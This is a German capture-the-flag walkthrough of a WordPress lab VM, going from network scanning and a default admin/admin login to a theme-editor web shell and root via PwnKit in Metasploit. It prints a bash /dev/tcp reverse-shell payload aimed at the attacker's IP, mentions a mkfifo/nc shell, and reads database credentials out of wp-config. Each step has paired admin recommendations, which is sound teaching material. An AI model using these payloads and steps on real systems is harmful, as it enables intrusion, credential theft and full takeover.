**Zielsetzung:** Identifizierung aktiver Hosts im lokalen Netzwerk und Sammlung grundlegender Informationen über das Zielsystem, um potenzielle Angriffsvektoren zu ermitteln. Ein externer Hinweis (vermutlich vom VM-Login-Screen) deutete auf den Benutzernamen `marlinspike` hin.
192.168.2.113 08:00:27:14:06:50 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu finden und deren IP- sowie MAC-Adressen aufzulisten.
**Bewertung:** Ein Host mit der IP `192.168.2.113` wurde identifiziert. Die MAC-Adresse `08:00:27:14:06:50` (OUI: PCS Systemtechnik GmbH) deutet stark auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.
**Empfehlung (Pentester):** Ziel-IP `192.168.2.113` notieren. Detaillierteren Port-Scan und Service-Enumeration durchführen.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von ARP-Scans einsetzen. Netzwerksegmentierung zur Begrenzung der Sichtbarkeit von Hosts implementieren.
127.0.0.1 localhost 192.168.2.113 basic.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifer-Systems wird bearbeitet, um der Ziel-IP `192.168.2.113` den Hostnamen `basic.vln` zuzuordnen.
**Bewertung:** Dieser Schritt erleichtert das Ansprechen des Ziels über einen Hostnamen, was insbesondere für Web-Tests wichtig ist.
**Empfehlung (Pentester):** Sinnvolle Vorbereitung.
**Empfehlung (Admin):** Lokale Angreifer-Konfiguration.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-29 20:01 CEST Nmap scan report for basic.vln (192.168.2.113) Host is up (0.00012s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 21/tcp open ftp ProFTPD 1.3.3c 22/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA) | 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA) |_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:14:06:50 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 S details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.12 ms basic.vln (192.168.2.113)
**Analyse:** Ein Nmap-Scan (`-sS` SYN-Scan, `-sC` Skripts, `-sV` Version, `-T5` Timing, `-A` Aggressiv/Alles, `-p-` Alle Ports) wird gegen das Ziel `192.168.2.113` ausgeführt.
**Bewertung:** Die Ergebnisse zeigen die offenen Ports 21 (ProFTPD 1.3.3c), 22 (OpenSSH 7.2p2), und 80 (Apache 2.4.18). Die Versionen sind relativ alt. Es gibt keine Hinweise auf anonymen FTP-Zugriff oder andere Auffälligkeiten durch die Nmap-Skripte.
**Empfehlung (Pentester):** Untersuche ProFTPD 1.3.3c auf bekannte Schwachstellen. Teste den FTP-Login mit `marlinspike`. Untersuche Port 80 mit Web-Enumeration-Tools.
**Empfehlung (Admin):** Dringend alle Dienste (ProFTPD, OpenSSH, Apache) auf aktuelle, gepatchte Versionen aktualisieren.
21/tcp open ftp ProFTPD 1.3.3c 22/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
**Analyse:** Eine gefilterte Version des vorherigen Nmap-Scans zur schnellen Übersicht der offenen Ports.
**Bewertung:** Bestätigt die offenen Ports 21, 22, 80.
**Empfehlung (Pentester):** Schnelle Übersicht.
**Empfehlung (Admin):** Regelmäßige Überprüfung offener Ports.
**Zielsetzung:** Untersuchung des Webservers auf Port 80, um versteckte Verzeichnisse, Dateien und Webanwendungen zu identifizieren.
http://basic.vln/index.html (Status: 200) [Size: 177] http://basic.vln/secret (Status: 301) [Size: 307] [--> http://basic.vln/secret/]
**Analyse:** `gobuster` wird verwendet, um Verzeichnisse auf `http://basic.vln` zu finden. Es werden eine Wortliste und verschiedene Dateiendungen verwendet.
**Bewertung:** Neben der Standardseite `index.html` wird das Verzeichnis `/secret/` gefunden.
**Empfehlung (Pentester):** Untersuche das Verzeichnis `/secret/` genauer.
**Empfehlung (Admin):** Vermeide leicht zu erratende Verzeichnisnamen für sensible Bereiche.
**Manuelle Analyse (Quellcode / Browser):** Beim Betrachten des Quellcodes (`view-source:`) von `http://basic.vln/secret/` wird ein Link-Fragment gefunden: `href='http://vtcsec/secret/wp-content/themes/twentyseventeen/as`. Dies deutet auf eine WordPress-Installation und einen weiteren Hostnamen (`vtcsec`) hin.
**Bewertung:** Der Fund bestätigt WordPress in `/secret/` und enthüllt den Hostnamen `vtcsec`, der wahrscheinlich intern verwendet wird.
**Empfehlung (Pentester):** Füge `vtcsec` zur `/etc/hosts`-Datei hinzu. Untersuche die WordPress-Installation unter `http://vtcsec/secret/`.
**Empfehlung (Admin):** Verhindere das Preisgeben interner Hostnamen im Quellcode.
192.168.2.113 basic.vln vtcsec
**Analyse:** Die lokale `/etc/hosts`-Datei wird aktualisiert, um den Hostnamen `vtcsec` zur IP-Adresse `192.168.2.113` hinzuzufügen.
**Bewertung:** Notwendiger Schritt, um die Webanwendung korrekt anzusprechen.
**Empfehlung (Pentester):** Korrekte Vorgehensweise.
**Empfehlung (Admin):** Keine direkte Aktion.
**API-Enumeration (WordPress):** Durch den Aufruf der WordPress-REST-API für Benutzer (`view-source:http://vtcsec/secret/index.php/wp-json/wp/v2/users/1`) werden Informationen über den Benutzer mit ID 1 abgerufen.
**Bewertung:** Die API-Antwort bestätigt die Existenz des Benutzers `admin`.
**Empfehlung (Pentester):** Versuche einen Login als `admin` mit Standardpasswörtern auf `http://vtcsec/secret/wp-login.php`.
**Empfehlung (Admin):** Beschränke den Zugriff auf die WordPress-REST-API. Vermeide den Standardbenutzernamen "admin".
**Login-Versuch (WordPress):** Ein Login-Versuch auf `http://vtcsec/secret/wp-admin/` mit den Zugangsdaten `admin` / `admin` ist erfolgreich.
**Bewertung:** **Kritische Schwachstelle!** Standard-Zugangsdaten ermöglichen vollen administrativen Zugriff auf WordPress.
**Empfehlung (Pentester):** Nutze den Admin-Zugriff, um RCE zu erlangen.
**Empfehlung (Admin):** **NIEMALS** Standard-Zugangsdaten verwenden! Passwörter sofort ändern, starke Passwörter erzwingen.
**Zielsetzung:** Ausnutzung des administrativen Zugriffs auf WordPress, um Code auf dem Server auszuführen und eine Reverse Shell zu erhalten.
**Manuelle Schritte (WordPress):** 1. Login in `/secret/wp-admin/` mit `admin` / `admin`. 2. Navigation zum Theme-Editor (`.../theme-editor.php?file=404.php&theme=twentysixteen`). 3. Auswahl des Themes `twentysixteen` und der `404.php`. 4. Einfügen des PHP-Codes ``. 5. Speichern der Datei.
**Bewertung:** Admin-Zugriff und Theme-Editor ermöglichen das Einfügen einer Web-Shell (RCE).
**Empfehlung (Pentester):** Teste die Web-Shell und bereite Reverse Shell vor.
**Empfehlung (Admin):** Deaktiviere den Theme-/Plugin-Editor. Setze Dateiberechtigungen restriktiv. Verwende starke Admin-Passwörter.
**Auslösen der Reverse Shell:**
1. Aufruf der modifizierten 404-Seite mit dem Reverse-Shell-Payload im URL-Parameter `ben`. Payload (dekodiert): `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.137/9001 0>&1'`. Die Angreifer-IP ist `192.168.2.137`, der Port `9001`.
URL: `view-source:http://vtcsec/secret/wp-content/themes/twentysixteen/404.php?ben=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.137%2F9001%200%3E%261%27` (Das `view-source:` ist wahrscheinlich ein Artefakt).
**Bewertung:** Der Standard-Bash-Reverse-Shell-Payload wird über die Web-Shell ausgeführt.
**Empfehlung (Pentester):** Überprüfe den Listener.
**Empfehlung (Admin):** Egress Filtering, Absicherung von WordPress.
listening on [any] 9001 ... connect to [192.168.2.137] from (UNKNWN) [192.168.2.113] 48522 bash: cannot set terminal process group (1277): Inappropriate ioctl for device bash: no job control in this shell www-data@vtcsec:/var/www/html/secret/wp-content/themes/twentysixteen$
**Analyse:** Der Netcat-Listener (`nc -lvnp 9001`) auf dem Angreifer-System (`192.168.2.137`) empfängt eine Verbindung von der Ziel-IP (`192.168.2.113`). Eine Shell-Eingabeaufforderung als Benutzer `www-data` wird angezeigt. Die üblichen Fehlermeldungen für einfache Reverse Shells erscheinen.
**Bewertung:** Initial Access erfolgreich! Eine interaktive Shell als `www-data` wurde etabliert.
**Empfehlung (Pentester):** Stabilisiere die Shell. Beginne Post-Exploitation und Enumeration.
**Empfehlung (Admin):** System isolieren, Vorfall analysieren, bereinigen, Lücken schließen.
**Zielsetzung:** Sammeln von Informationen aus der `www-data`-Shell, um das System zu verstehen und Wege zur Privilegieneskalation zu finden.
/ MySQL database username */
define('DB_USER', 'root');
/ MySQL database password */
define('DB_PASSWORD', 'arootmysqlpass');
/ MySQL hostname */
define('DB_HOST', 'localhost');
/ Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/ The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
**Analyse (`wp-config.php`):** Relevante Auszüge aus der `wp-config.php`-Datei (vermutlich mit `cat wp-config.php` im Verzeichnis `/var/www/html/secret` ausgelesen).
**Bewertung:** **Kritischer Fund!** Die Datenbank-Zugangsdaten werden im Klartext angezeigt: Benutzer `root`, Passwort `arootmysqlpass`, Host `localhost`. Die Verwendung des `root`-DB-Users ist eine schlechte Praxis.
**Empfehlung (Pentester):** Versuche, dich mit diesen Zugangsdaten bei MySQL anzumelden. Prüfe auf Passwort-Wiederverwendung.
**Empfehlung (Admin):** **NIEMALS** den `root`-DB-Benutzer für Anwendungen verwenden. Dedizierte DB-Benutzer mit minimalen Rechten und starken, einzigartigen Passwörtern erstellen. `wp-config.php` absichern.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | wp_myblog | +--------------------+ 5 rows in set (0.00 sec) mysql> use wp_myblog; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-----------------------+ | Tables_in_wp_myblog | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.00 sec) mysql> select * from wp_users; +----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+ | 1 | admin | $P$BAJWheLsI9IEVX0o4/5OBbGo2n4YuD1 | admin | admin@mail.com | | 2017-11-16 16:59:58 | | 0 | admin | +----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+ 1 row in set (0.00 sec)
**Analyse (MySQL):** Nach erfolgreichem Login in MySQL (Login-Befehl nicht gezeigt, aber impliziert) werden Datenbanken und Tabellen der WordPress-Datenbank (`wp_myblog`) angezeigt. Die `wp_users`-Tabelle enthält den `admin`-Benutzer mit seinem Passwort-Hash.
**Bewertung:** Bestätigt den Datenbankzugriff und die WordPress-Benutzerdaten. Der Hash (`$P$...`) ist für das bekannte Passwort "admin". Bietet aktuell keinen direkten weiteren Vorteil.
**Empfehlung (Pentester):** Suche in anderen Datenbanken oder nach anderen Konfigurationsdetails.
**Empfehlung (Admin):** Siehe vorherige DB-Empfehlungen. WordPress aktuell halten.
pe f -perm -4000 -ls 2>/dev/null ret/wp-content/themes/twentysixteen$ find / -type f -perm -4000 -ls 2>/dev/null
4506 44 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 4804 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 9580 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1 186 12 -rwsr-sr-x 1 root root 10584 ct 13 2017 /usr/lib/xorg/Xorg.wrap 5321 84 -rwsr-xr-x 1 root root 85800 ct 18 2017 /usr/lib/snapd/snap-confine 135915 20 -rwsr-xr-x 1 root root 18664 Mar 18 2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox 9371 420 -rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign 1028 56 -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd 1139 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec 965 40 -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp 245 40 -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh 1523 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo 243 52 -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn 565 76 -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd 14118 384 -rwsr-xr-- 1 root dip 390888 Jan 29 2016 /usr/sbin/pppd 131203 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 131128 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 131249 28 -rwsr-xr-x 1 root root 27608 Jun 14 2017 /bin/umount 131229 40 -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su 131202 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 131165 40 -rwsr-xr-x 1 root root 40152 Jun 14 2017 /bin/mount 131177 140 -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach SUID-Dateien.
**Bewertung:** Die Liste zeigt Standard-SUID-Binaries. `/usr/bin/pkexec` von Jan 2016 ist ein starker Kandidat für die PwnKit-Schwachstelle (CVE-2021-4034).
**Empfehlung (Pentester):** PwnKit ist der wahrscheinlichste Eskalationsvektor. Verwende Metasploit oder einen manuellen Exploit.
**Empfehlung (Admin):** System und Pakete dringend aktualisieren!
**Metasploit-Nutzung:** Der Pentester wechselt zu Metasploit (`msfconsole`) auf dem Angreifer-System. 1. **Handler Setup:** Ein `multi/handler` wird konfiguriert, um eine Reverse-Shell-Verbindung auf Port `5555` zu empfangen. 2. **Neue Reverse Shell:** Eine zweite (oder die erste stabile) Reverse Shell wird zum Metasploit-Handler ausgelöst (Befehl `mkfifo ... | nc ...` wird angezeigt). Eine Command-Shell-Session (ID 1) wird geöffnet. 3. **Upgrade zu Meterpreter:** Das Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um Session 1 zu einer Meterpreter-Session (ID 2) auf Port `4433` aufzuwerten.
**Bewertung:** Der Einsatz von Metasploit und das Upgrade zu Meterpreter erleichtern die weitere Interaktion und die Ausführung von Post-Exploitation-Modulen.
**Empfehlung (Pentester):** Nutze die Meterpreter-Session für weitere Schritte.
**Empfehlung (Admin):** Intrusion Detection, Egress Filtering.
**Zielsetzung:** Ausnutzung einer gefundenen Schwachstelle (PwnKit via pkexec), um von der Meterpreter-Session (als `www-data`) zu Root-Rechten zu gelangen.
msf6 post(multi/manage/shell_to_meterpreter) > search suggester ... msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > set session 2 session => 2 msf6 post(multi/recon/local_exploit_suggester) > run [*] 192.168.2.113 - Collecting local exploits for x86/linux... [*] 192.168.2.113 - 186 exploit checks are being tried... [+] 192.168.2.113 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. ... [*] 192.168.2.113 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - - -- 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. ...
**Analyse:** Das Metasploit-Modul `local_exploit_suggester` wird auf die Meterpreter-Session 2 angewendet, um nach bekannten lokalen Privilegieneskalations-Exploits zu suchen.
**Bewertung:** Der Suggester bestätigt, dass das Ziel für PwnKit anfällig ist (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`).
**Empfehlung (Pentester):** Nutze das empfohlene PwnKit-Modul.
**Empfehlung (Admin):** System patchen!
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2 session => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0 lhost => 192.168.2.137 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4445 lport => 4445 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [*] Started reverse TCP handler on 192.168.2.137:4445 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Writing '/tmp/.dqdrcepnqrp/ogfrtnpyiz/ogfrtnpyiz.so' (548 bytes) ... [*] Sending stage (3045348 bytes) to 192.168.2.113 [+] Deleted ... [*] Meterpreter session 3 opened (192.168.2.137:4445 -> 192.168.2.113:36794) at 2023-06-29 20:23:40 +0200
**Analyse:** Das PwnKit-Exploit-Modul wird ausgewählt, auf Session 2 gesetzt und mit den Callback-Parametern (LHOST `192.168.2.137`, LPORT `4445`) konfiguriert und ausgeführt. Der Exploit nutzt die Schwachstelle in `pkexec`, um einen Payload mit Root-Rechten auszuführen.
**Bewertung:** Der Exploit ist erfolgreich! Eine neue Meterpreter-Session (ID 3) wird geöffnet, die mit Root-Rechten läuft.
**Empfehlung (Pentester):** Ziel erreicht! Überprüfe Rechte (`getuid`) und suche die Flags.
**Empfehlung (Admin):** System patchen! Überwache `/tmp` und `pkexec`.
meterpreter > getuid Server username: root meterpreter > cd /root meterpreter > ls Listing: /root ============== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100644/rw-r--r-- 3106 fil 2015-10-22 19:15:21 +0200 .bashrc 040700/rwx 4096 dir 2017-08-01 13:27:17 +0200 .cache 040700/rwx 4096 dir 2017-11-14 21:04:27 +0100 .gnupg 040755/rwxr-xr-x 4096 dir 2017-11-14 20:59:10 +0100 .nano 100644/rw-r--r-- 148 fil 2015-08-17 17:30:33 +0200 .profile
**Analyse:** In der neuen Meterpreter-Session (ID 3) wird mit `getuid` bestätigt, dass sie als `root` läuft. Es wird nach `/root` gewechselt und der Inhalt mit `ls` aufgelistet.
**Bewertung:** Root-Zugriff ist bestätigt. Die Auflistung von `/root` zeigt keine offensichtliche Flag-Datei (`root.txt`, `flag.txt`).
**Empfehlung (Pentester):** Suche gründlicher nach der Root-Flagge, ggf. mit `find / -name "*root*" 2>/dev/null` oder ähnlichen Befehlen. Da der Flags-Abschnitt Werte enthält, muss sie existieren.
**Empfehlung (Admin):** System kompromittiert.